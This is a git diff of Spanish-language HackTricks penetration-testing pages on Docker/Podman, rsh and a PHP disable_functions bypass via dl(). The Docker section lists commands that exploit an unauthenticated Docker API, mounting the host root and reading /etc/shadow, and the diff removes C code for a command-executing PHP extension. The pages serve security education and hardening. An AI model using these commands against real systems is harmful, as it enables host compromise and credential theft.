+Un motor de contenedores de código abierto y compatible con OCI ([Open Container Initiative](https://github.com/opencontainers)) conocido como Podman es mantenido por Red Hat. Se caracteriza por varias distinciones clave con respecto a Docker, incluida su estructura sin demonio y el soporte para contenedores que no requieren acceso de root. La función principal de ambas herramientas es gestionar imágenes y contenedores. Un objetivo notable de Podman es la compatibilidad con la API de Docker, lo que permite el uso de casi todos los comandos de CLI de Docker dentro de Podman.
-Podman es un motor de contenedores de código abierto compatible con OCI ([Open Container Initiative](https://github.com/opencontainers)). Es impulsado por Red Hat e incorpora algunas diferencias importantes con Docker, como su arquitectura sin daemon y el soporte para contenedores sin root. En su núcleo, **ambas herramientas hacen lo mismo: gestionar imágenes y contenedores**. Uno de **los objetivos de Podman es tener una API compatible con Docker**. Por lo tanto, casi todos los comandos de la CLI (interfaz de línea de comandos) de Docker también están disponibles en Podman.
+Dentro del ecosistema de Podman, se encuentran dos herramientas adicionales, Buildah y Skopeo. Buildah sirve como una herramienta de CLI para construir imágenes de contenedores, mientras que Skopeo se utiliza para operaciones en imágenes como push, pull o inspectar. Para obtener más información sobre estas herramientas y su integración con Podman, [consulte su página de GitHub](https://github.com/containers/buildah/tree/master/docs/containertools).
-Puede encontrar otras dos herramientas en el ecosistema de Podman: Buildah y Skopeo. Buildah es una herramienta de CLI utilizada para construir imágenes de contenedores, y Skopeo es una herramienta de CLI para ejecutar operaciones en imágenes, como push, pull o inspect. [Por favor, consulte GitHub](https://github.com/containers/buildah/tree/master/docs/containertools) para obtener más información sobre estas herramientas y su relación con Podman.
+**Diferencias Clave**
-**Las principales diferencias**
+La diferencia más significativa entre Docker y Podman radica en su diseño arquitectónico. Docker opera en un modelo cliente-servidor, lo que requiere el uso de la CLI de Docker para interactuar con un demonio en segundo plano responsable de la construcción de imágenes y la ejecución de contenedores, que opera con privilegios de root. En contraste, Podman emplea una arquitectura sin demonio, lo que permite que los contenedores se ejecuten bajo los privilegios del usuario iniciador sin necesidad de acceso de root. Este diseño garantiza que los usuarios de Podman solo puedan interactuar con sus propios contenedores, sin un demonio compartido para la comunicación de CLI.
-**La mayor diferencia entre Docker y Podman es su arquitectura**. **Docker** se ejecuta en una arquitectura **cliente-servidor**, mientras que **Podman** se ejecuta en una arquitectura **sin daemon**. Pero, ¿qué significa eso? Al trabajar con **Docker**, debe usar la CLI de Docker, que se comunica con un **daemon en segundo plano** (el daemon de Docker). La lógica principal reside en el daemon, que construye imágenes y ejecuta contenedores. Este **daemon se ejecuta con privilegios de root**. La arquitectura de **Podman**, por el contrario, le permite **ejecutar los contenedores bajo el usuario que está iniciando el contenedor** (fork/exec), y este usuario no necesita ningún privilegio de root. Debido a que **Podman tiene una arquitectura sin daemon, cada usuario que ejecuta Podman solo puede ver y modificar sus propios contenedores**. No hay un daemon común con el que la herramienta CLI se comunique.
+Para dar cabida a la operación de contenedores en segundo plano sin un demonio, Podman se integra con **systemd**, lo que permite la gestión de contenedores a través de unidades de systemd. Esta integración varía con la versión de Podman, ofreciendo la capacidad de generar unidades tanto para contenedores existentes como para aquellos que aún no se han creado, así como facilitando la operación de systemd dentro de los contenedores. A diferencia de Podman, Docker tradicionalmente depende de systemd para la gestión de procesos de demonio.
-Dado que Podman no tiene un daemon, necesita una forma de admitir la ejecución de contenedores en segundo plano. Por lo tanto, proporciona una integración con **systemd**, que permite controlar los contenedores a través de unidades de systemd. Dependiendo de la versión de Podman, puede generar estas unidades para contenedores existentes o generar unidades que puedan crear contenedores si no existen en el sistema. Hay otro modelo de integración con systemd, que permite que systemd se ejecute dentro de un contenedor. Por defecto, Docker utiliza systemd para controlar el proceso del daemon.
+Otra diferencia crítica radica en la ejecución de contenedores. Podman permite que los contenedores se ejecuten con los privilegios del usuario iniciador, no bajo un demonio. Esto introduce el concepto de contenedores sin root, que pueden iniciarse sin acceso de root, ofreciendo una ventaja de seguridad significativa al limitar el impacto potencial de violaciones de contenedores. Los contenedores sin root garantizan que el atacante de un contenedor comprometido posea solo los privilegios de un usuario normal en el host, evitando la escalada de privilegios más allá de los del usuario iniciador y, por lo tanto, mejorando la seguridad.
-La segunda diferencia importante se refiere a cómo se ejecutan los contenedores. Con **Podman**, **los contenedores se ejecutan con los privilegios del usuario y no con los del daemon**. En este punto, entra en juego el concepto de contenedores sin root, lo que significa que el contenedor se puede iniciar sin privilegios de root. Los contenedores sin root tienen una gran ventaja sobre los contenedores con root ya que (lo adivinó) no se ejecutan bajo la cuenta de root. El beneficio de esto es que si un atacante es capaz de capturar y escapar de un contenedor, este atacante sigue siendo un usuario normal en el host. Los contenedores que son iniciados por un usuario no pueden tener más privilegios o capacidades que el propio usuario. Esto agrega una capa de protección natural.
{% hint style="info" %}
-Tenga en cuenta que como Podman tiene como objetivo admitir la misma API que Docker, puede usar los mismos comandos con Podman que con Docker, como:
+Tenga en cuenta que dado que Podman tiene como objetivo admitir la misma API que Docker, puede utilizar los mismos comandos con Podman que con Docker, como:
```bash
podman --version
podman info
@@ -99,11 +100,11 @@ podman ls
```
{% endhint %}
-## Información básica
+## Información Básica
-El API remoto se ejecuta por defecto en el puerto 2375 cuando está habilitado. El servicio por defecto no requerirá autenticación, lo que permite a un atacante iniciar un contenedor de docker privilegiado. Al utilizar el API remoto, se pueden adjuntar hosts / (directorio raíz) al contenedor y leer/escribir archivos del entorno del host.
+El API remoto se ejecuta de forma predeterminada en el puerto 2375 cuando está habilitado. El servicio, por defecto, no requerirá autenticación, lo que permite a un atacante iniciar un contenedor de Docker privilegiado. Al utilizar el API remoto, se puede adjuntar hosts / (directorio raíz) al contenedor y leer/escribir archivos del entorno del host.
-**Puerto por defecto:** 2375
+**Puerto predeterminado:** 2375
```
PORT STATE SERVICE
2375/tcp open docker
@@ -121,37 +122,37 @@ curl -s http://open.docker.socket:2375/version | jq #Get version
#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
- Version: 19.03.1
- API version: 1.40
- Go version: go1.12.5
- Git commit: 74b1e89
- Built: Thu Jul 25 21:21:05 2019
- OS/Arch: linux/amd64
- Experimental: false
+Version: 19.03.1
+API version: 1.40
+Go version: go1.12.5
+Git commit: 74b1e89
+Built: Thu Jul 25 21:21:05 2019
+OS/Arch: linux/amd64
+Experimental: false
Server: Docker Engine - Community
- Engine:
- Version: 19.03.1
- API version: 1.40 (minimum version 1.12)
- Go version: go1.12.5
- Git commit: 74b1e89
- Built: Thu Jul 25 21:19:41 2019
- OS/Arch: linux/amd64
- Experimental: false
- containerd:
- Version: 1.2.6
- GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
- runc:
- Version: 1.0.0-rc8
- GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
- docker-init:
- Version: 0.18.0
- GitCommit: fec3683
+Engine:
+Version: 19.03.1
+API version: 1.40 (minimum version 1.12)
+Go version: go1.12.5
+Git commit: 74b1e89
+Built: Thu Jul 25 21:19:41 2019
+OS/Arch: linux/amd64
+Experimental: false
+containerd:
+Version: 1.2.6
+GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
+runc:
+Version: 1.0.0-rc8
+GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
+docker-init:
+Version: 0.18.0
+GitCommit: fec3683
```
-Si puedes **contactar la API remota de Docker con el comando `docker`**, puedes **ejecutar** cualquiera de los [**comandos de Docker previamente comentados**](2375-pentesting-docker.md#basic-commands) para interactuar con el servicio.
+Si puedes **contactar el API remoto de docker con el comando `docker`** puedes **ejecutar** cualquiera de los **comandos de docker** [**previamente comentados**](2375-pentesting-docker.md#basic-commands) para interactuar con el servicio.
{% hint style="info" %}
-Puedes `exportar DOCKER_HOST="tcp://localhost:2375"` y **evitar** usar el parámetro `-H` con el comando docker.
+Puedes `export DOCKER_HOST="tcp://localhost:2375"` y **evitar** usar el parámetro `-H` con el comando docker
{% endhint %}
#### Escalada rápida de privilegios
@@ -160,7 +161,7 @@ docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```
#### Curl
-En ocasiones, verás que el puerto **2376** está disponible para el punto final **TLS**. No he podido conectarme a él con el cliente de Docker, pero puedes hacerlo sin problemas con curl para acceder a la API de Docker.
+A veces verás **2376** disponible para el punto final de **TLS**. No he podido conectarme a él con el cliente de docker, pero puedes hacerlo con curl sin problemas para acceder a la API de docker.
```bash
#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
@@ -190,7 +191,7 @@ curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-ope
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
```
-Si desea obtener más información sobre esto, puede encontrarla en el sitio web donde copié los comandos: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
+Si deseas obtener más información al respecto, puedes encontrar más información en el sitio desde donde copié los comandos: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
### Automático
```bash
@@ -205,31 +206,31 @@ En la siguiente página puedes encontrar formas de **escapar de un contenedor de
[docker-security](../linux-hardening/privilege-escalation/docker-security/)
{% endcontent-ref %}
-Abusando de esto, es posible escapar de un contenedor, podrías ejecutar un contenedor débil en la máquina remota, escapar de él y comprometer la máquina:
+Abusando de esto es posible escapar de un contenedor, podrías ejecutar un contenedor débil en la máquina remota, escapar de él y comprometer la máquina:
```bash
docker -H :2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
```
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)
-## Escalada de privilegios
+## Escalación de privilegios
-Si estás dentro de un host que está utilizando Docker, puedes [**leer esta información para intentar elevar privilegios**](../linux-hardening/privilege-escalation/#writable-docker-socket).
+Si te encuentras dentro de un host que está utilizando Docker, puedes [**leer esta información para intentar elevar privilegios**](../linux-hardening/privilege-escalation/#writable-docker-socket).
## Descubriendo secretos en contenedores Docker en ejecución
```bash
docker ps [| grep ]
docker inspect
```
-Revisa la sección **env** (variables de entorno) en busca de secretos y podrías encontrar:
+Verifique **env** (sección de variables de entorno) en busca de secretos y es posible que encuentre:
* Contraseñas.
-* IPs.
+* IP's.
* Puertos.
* Rutas.
-* Otros...
+* Otros... .
-Si deseas extraer un archivo:
+Si desea extraer un archivo:
```bash
docker cp :/etc/
```
@@ -238,46 +239,46 @@ docker cp :/etc/
### Asegurando la instalación y uso de Docker
* Puedes usar la herramienta [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) para inspeccionar tu instalación actual de Docker.
- * `./docker-bench-security.sh`
+* `./docker-bench-security.sh`
* Puedes usar la herramienta [https://github.com/kost/dockscan](https://github.com/kost/dockscan) para inspeccionar tu instalación actual de Docker.
- * `dockscan -v unix:///var/run/docker.sock`
-* Puedes usar la herramienta [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) para conocer los privilegios que tendrá un contenedor cuando se ejecute con diferentes opciones de seguridad. Esto es útil para conocer las implicaciones de usar algunas opciones de seguridad para ejecutar un contenedor:
- * `docker run --rm -it r.j3ss.co/amicontained`
- * `docker run --rm -it --pid host r.j3ss.co/amicontained`
- * `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
+* `dockscan -v unix:///var/run/docker.sock`
+* Puedes usar la herramienta [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) para conocer los privilegios que tendrá un contenedor al ejecutarse con diferentes opciones de seguridad. Esto es útil para comprender las implicaciones de usar ciertas opciones de seguridad para ejecutar un contenedor:
+* `docker run --rm -it r.j3ss.co/amicontained`
+* `docker run --rm -it --pid host r.j3ss.co/amicontained`
+* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
-### Asegurando las imágenes de Docker
+### Asegurando Imágenes de Docker
* Puedes usar una imagen de Docker de [https://github.com/quay/clair](https://github.com/quay/clair) para escanear tus otras imágenes de Docker y encontrar vulnerabilidades.
- * `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
- * `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
+* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
+* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
-### Asegurando los Dockerfiles
+### Asegurando Dockerfiles
-* Puedes usar la herramienta [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) para **inspeccionar tu Dockerfile** y encontrar todo tipo de configuraciones incorrectas. A cada configuración incorrecta se le asignará un ID, puedes encontrar aquí [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) cómo solucionar cada una de ellas.
- * `dockerfilelinter -f Dockerfile`
+* Puedes usar la herramienta [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) para **inspeccionar tu Dockerfile** y encontrar todo tipo de configuraciones incorrectas. A cada configuración incorrecta se le asignará un ID, puedes encontrar aquí [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) cómo corregir cada una de ellas.
+* `dockerfilelinter -f Dockerfile`
![](<../.gitbook/assets/image (418).png>)
* Puedes usar la herramienta [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) para **inspeccionar tu Dockerfile** y encontrar todo tipo de configuraciones incorrectas.
- * `dockerfilelint Dockerfile`
+* `dockerfilelint Dockerfile`
![](<../.gitbook/assets/image (419).png>)
* Puedes usar la herramienta [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) para **inspeccionar tu Dockerfile** y encontrar todo tipo de configuraciones incorrectas.
- * `dockerlint Dockerfile`
+* `dockerlint Dockerfile`
![](<../.gitbook/assets/image (420).png>)
* Puedes usar la herramienta [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) para **inspeccionar tu Dockerfile** y encontrar todo tipo de configuraciones incorrectas.
- * `hadolint Dockerfile`
+* `hadolint Dockerfile`
![](<../.gitbook/assets/image (421).png>)
-### Registrando actividad sospechosa
+### Registrando Actividades Sospechosas
* Puedes usar la herramienta [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) para detectar **comportamientos sospechosos en contenedores en ejecución**.
- * Observa en el siguiente fragmento cómo **Falco compila un módulo del kernel e lo inserta**. Después, carga las reglas y **comienza a registrar actividades sospechosas**. En este caso, ha detectado 2 contenedores privilegiados iniciados, 1 de ellos con un montaje sensible, y después de algunos segundos ha detectado cómo se abrió una shell dentro de uno de los contenedores.
+* Observa en el siguiente fragmento cómo **Falco compila un módulo del kernel e lo inserta**. Después de eso, carga las reglas y **comienza a registrar actividades sospechosas**. En este caso, ha detectado 2 contenedores privilegiados iniciados, 1 de ellos con un montaje sensible, y después de algunos segundos detectó cómo se abrió una terminal dentro de uno de los contenedores.
```
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
@@ -296,10 +297,10 @@ DKMS: build completed.
falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- - Original module
- - No original module exists within this kernel
- - Installation
- - Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
+- Original module
+- No original module exists within this kernel
+- Installation
+- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
@@ -320,4 +321,7 @@ falco-probe found and loaded in dkms
```
### Monitoreo de Docker
-Puede utilizar auditd para monitorear Docker.
+Puedes usar auditd para monitorear Docker.
+
+# Referencias
+* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
diff --git a/network-services-pentesting/pentesting-rsh.md b/network-services-pentesting/pentesting-rsh.md
index d32ada0af..8ff086a03 100644
--- a/network-services-pentesting/pentesting-rsh.md
+++ b/network-services-pentesting/pentesting-rsh.md
@@ -2,23 +2,23 @@
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS de cero a héroe conhtARTE (Experto en Red Team de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
## Información Básica
-**Rsh** utiliza archivos **.rhosts** y **/etc/hosts.equiv** para autenticación. Estos métodos se basaban en direcciones IP y DNS (Sistema de Nombres de Dominio) para la autenticación. Sin embargo, suplantar direcciones IP es bastante fácil, especialmente si el atacante está en la red local.
+Para la autenticación, se utilizaron archivos **.rhosts** junto con **/etc/hosts.equiv** por **Rsh**. La autenticación dependía de direcciones IP y del Sistema de Nombres de Dominio (DNS). La facilidad para falsificar direcciones IP, especialmente en la red local, era una vulnerabilidad significativa.
-Además, los archivos **.rhosts** se almacenaban en los directorios personales de los usuarios, que típicamente se guardaban en volúmenes de NFS (Sistema de Archivos de Red). (de aquí: [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)).
+Además, era común que los archivos **.rhosts** se colocaran dentro de los directorios de inicio de los usuarios, que a menudo estaban ubicados en volúmenes de Sistema de Archivos de Red (NFS).
**Puerto predeterminado**: 514
@@ -29,18 +29,21 @@ rsh -l domain\user
rsh domain/user@
rsh domain\\user@
```
-### [**Fuerza Bruta**](../generic-methodologies-and-resources/brute-force.md#rsh)
+### [**Fuerza bruta**](../generic-methodologies-and-resources/brute-force.md#rsh)
+
+## Referencias
+* [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)]
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md
index b1b233467..cb5f9c7ea 100644
--- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md
+++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md
@@ -1,337 +1,106 @@
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS de cero a héroe conhtARTE (Experto en Equipos Rojos de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
**Nota importante:**
-![image](https://user-images.githubusercontent.com/84577967/174675487-a4c4ca06-194f-4725-85af-231a2f35d56c.png)
+![imagen](https://user-images.githubusercontent.com/84577967/174675487-a4c4ca06-194f-4725-85af-231a2f35d56c.png)
-**`dl`** es una función de PHP que se puede utilizar para cargar extensiones de PHP. Si la función no está deshabilitada, podría ser abusada para **burlar `disable_functions` y ejecutar comandos arbitrarios**.\
+**`dl`** es una función de PHP que se puede utilizar para cargar extensiones de PHP. Si la función no está deshabilitada, se podría abusar de ella para **burlar `disable_functions` y ejecutar comandos arbitrarios**.\
Sin embargo, tiene algunas limitaciones estrictas:
* La función `dl` debe estar **presente** en el **entorno** y **no deshabilitada**
-* La extensión de PHP **debe estar compilada con la misma versión mayor** (versión de la API de PHP) que la que está utilizando el servidor (puedes ver esta información en la salida de phpinfo)
-* La extensión de PHP debe estar **ubicada en el directorio** que está **definido** por la directiva **`extension_dir`** (puedes verlo en la salida de phpinfo). Es muy improbable que un atacante que intenta abusar del servidor tenga acceso de escritura sobre este directorio, por lo que este requisito probablemente te impedirá abusar de esta técnica).
+* La extensión de PHP **debe compilarse con la misma versión principal** (versión de API de PHP) que está utilizando el servidor (puedes ver esta información en la salida de phpinfo)
+* La extensión de PHP debe estar **ubicada en el directorio** que está **definido** por la directiva **`extension_dir`** (puedes verlo en la salida de phpinfo). Es muy improbable que un atacante que intente abusar del servidor tenga acceso de escritura sobre este directorio, por lo que este requisito probablemente te impedirá abusar de esta técnica).
-**Si cumples con estos requisitos, continúa leyendo esta publicación copiada de** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **para aprender cómo burlar disable\_functions**
+**Si cumples con estos requisitos, continúa leyendo la publicación** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **para aprender cómo burlar `disable_functions`**. Aquí tienes un resumen:
-Cuando el administrador estaba configurando la caja, pasó por alto la [función dl](http://www.php.net/manual/en/function.dl.php) y no la deshabilitó ya que no había mención de poder ejecutar comandos del sistema.\
-La [función dl](http://www.php.net/manual/en/function.dl.php) se utiliza para cargar extensiones de PHP cuando se ejecuta un script.\
-\
-(Las extensiones de PHP están escritas en C/C++ y se utilizan para dar más funcionalidad a PHP.)\
-\
-El atacante nota que la función no está deshabilitada y ve potencial y decide crear una extensión de PHP.\
-El atacante verifica la versión de PHP utilizando un pequeño script `` (PHP\_VERSION es una constante predefinida que contiene el número de versión de PHP.)\
-\
-El atacante anota la versión y descarga el tarball desde el [sitio web de PHP](http://www.php.net/downloads.php), en este escenario la versión es más antigua que la versión actual, por lo que el atacante tiene que ir al [archivo](http://museum.php.net).\
-\
-Luego extrae el código fuente y [compila e instala](http://www.php.net/manual/en/install.php) la versión de PHP en su propia caja.\
-\
-Ahora es el momento de crear la extensión\
-El atacante se informa sobre [crear extensiones de PHP](http://www.php.net/manual/en/zend.creating.php) desde el sitio de PHP.\
-Después de leer la documentación y crear algunas extensiones por su cuenta, decide mirar el código base de PHP ya que la función que busca ya está creada.\
-\
-La función que se duplicará será la [función exec](http://www.php.net/manual/en/function.exec.php)\
-en el código base se encuentra en ext/standard/exec.c\
-\
-Las partes relevantes se implementan en una nueva extensión propia.\
-\
+La [función dl](http://www.php.net/manual/en/function.dl.php) se utiliza para cargar extensiones de PHP dinámicamente durante la ejecución del script. Las extensiones de PHP, generalmente escritas en C/C++, mejoran la funcionalidad de PHP. El atacante, al darse cuenta de que la función `dl` no está deshabilitada, decide crear una extensión de PHP personalizada para ejecutar comandos del sistema.
-**Notas:**
+### Pasos realizados por el atacante:
-Antes de comenzar a compilar los códigos, debes tener en cuenta dos puntos:
+1. **Identificación de la versión de PHP:**
+- El atacante determina la versión de PHP utilizando un script (``).
-1- El valor de `ZEND_MODULE_API_NO` debe cambiarse en el archivo `bypass.c` al actual `Zend Extension Build` en el que estás trabajando, puedes obtenerlo utilizando la línea de comando a continuación:
+2. **Adquisición de la fuente de PHP:**
+- Descarga la fuente de PHP del sitio web oficial de [PHP](http://www.php.net/downloads.php) o del [archivo](http://museum.php.net) si la versión es antigua.
+
+3. **Configuración local de PHP:**
+- Extrae e instala la versión específica de PHP en su sistema.
+
+4. **Creación de la extensión:**
+- Estudia [la creación de extensiones de PHP](http://www.php.net/manual/en/zend.creating.php) e inspecciona el código fuente de PHP.
+- Se centra en duplicar la funcionalidad de la [función exec](http://www.php.net/manual/en/function.exec.php) ubicada en `ext/standard/exec.c`.
+
+### Notas para compilar la extensión personalizada:
+
+1. **ZEND_MODULE_API_NO:**
+- El `ZEND_MODULE_API_NO` en `bypass.c` debe coincidir con la compilación actual de la Extensión Zend, que se puede obtener con:
```bash
php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{print $1}'
```
-2- Si te encuentras con errores al compilar el archivo bypass.c en la versión reciente de PHP (5, 7 y 8), puedes cambiar PHP_FUNCTION(bypass_exec) por esto:
-```
-PHP_FUNCTION(bypass_exec)
-{
-FILE *in;
-char *command;
-size_t command_len;
-zend_string *ret;
-php_stream *stream;
-ZEND_PARSE_PARAMETERS_START(1, 1)
-Z_PARAM_STRING(command, command_len)
-ZEND_PARSE_PARAMETERS_END();
+2. **Modificación de PHP_FUNCTION:**
+- Para versiones recientes de PHP (5, 7, 8), `PHP_FUNCTION(bypass_exec)` puede necesitar ajustes. El fragmento de código proporcionado detalla esta modificación.
-if (!command_len) {
-zend_argument_value_error(1, "cannot be empty");
-RETURN_THROWS();
-}
-if (strlen(command) != command_len) {
-zend_argument_value_error(1, "must not contain any null bytes");
-RETURN_THROWS();
-}
+### Archivos de la extensión personalizada:
-#ifdef PHP_WIN32
-if ((in=VCWD_POPEN(command, "rt"))==NULL) {
-#else
-if ((in=VCWD_POPEN(command, "r"))==NULL) {
-#endif
-php_error_docref(NULL, E_WARNING, "Unable to execute '%s'", command);
-RETURN_FALSE;
-}
+- **bypass.c**:
